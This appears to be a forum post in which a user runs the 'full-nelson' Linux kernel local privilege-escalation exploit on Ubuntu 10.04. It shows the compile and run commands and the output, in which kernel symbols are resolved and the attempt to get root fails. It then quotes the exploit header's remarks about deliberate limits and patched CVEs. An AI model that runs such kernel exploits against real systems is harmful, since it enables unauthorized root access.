Read the header of the C program.
Anyway, 2.6.32 <= 2.6.37 (my kernel).
Beside, people are here have reported about their Ubuntu boxes which this exploit showed some success at there
tzury@precision:/tmp$ uname -a
Linux precision 2.6.32-26-generic #48-Ubuntu SMP Wed Nov 24 10:14:11 UTC 2010 x86_64 GNU/Linux
tzury@precision:/tmp$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=10.04
DISTRIB_CODENAME=lucid
DISTRIB_DESCRIPTION="Ubuntu 10.04.1 LTS"
tzury@precision:/tmp$ gcc full-nelson.c -o full-nelson
tzury@precision:/tmp$ ./full-nelson
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xffffffffa01815d0
[+] Resolved econet_ops to 0xffffffffa01816c0
[+] Resolved commit_creds to 0xffffffff8108aed0
[+] Resolved prepare_kernel_cred to 0xffffffff8108b2b0
[*] Calculating target...
[*] Triggering payload...
[*] Exploit failed to get root. * In the interest of public safety, this exploit was specifically designed to
* be limited:
*
* * The particular symbols I resolve are not exported on Slackware or Debian
* * Red Hat does not support Econet by default
* * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
* Debian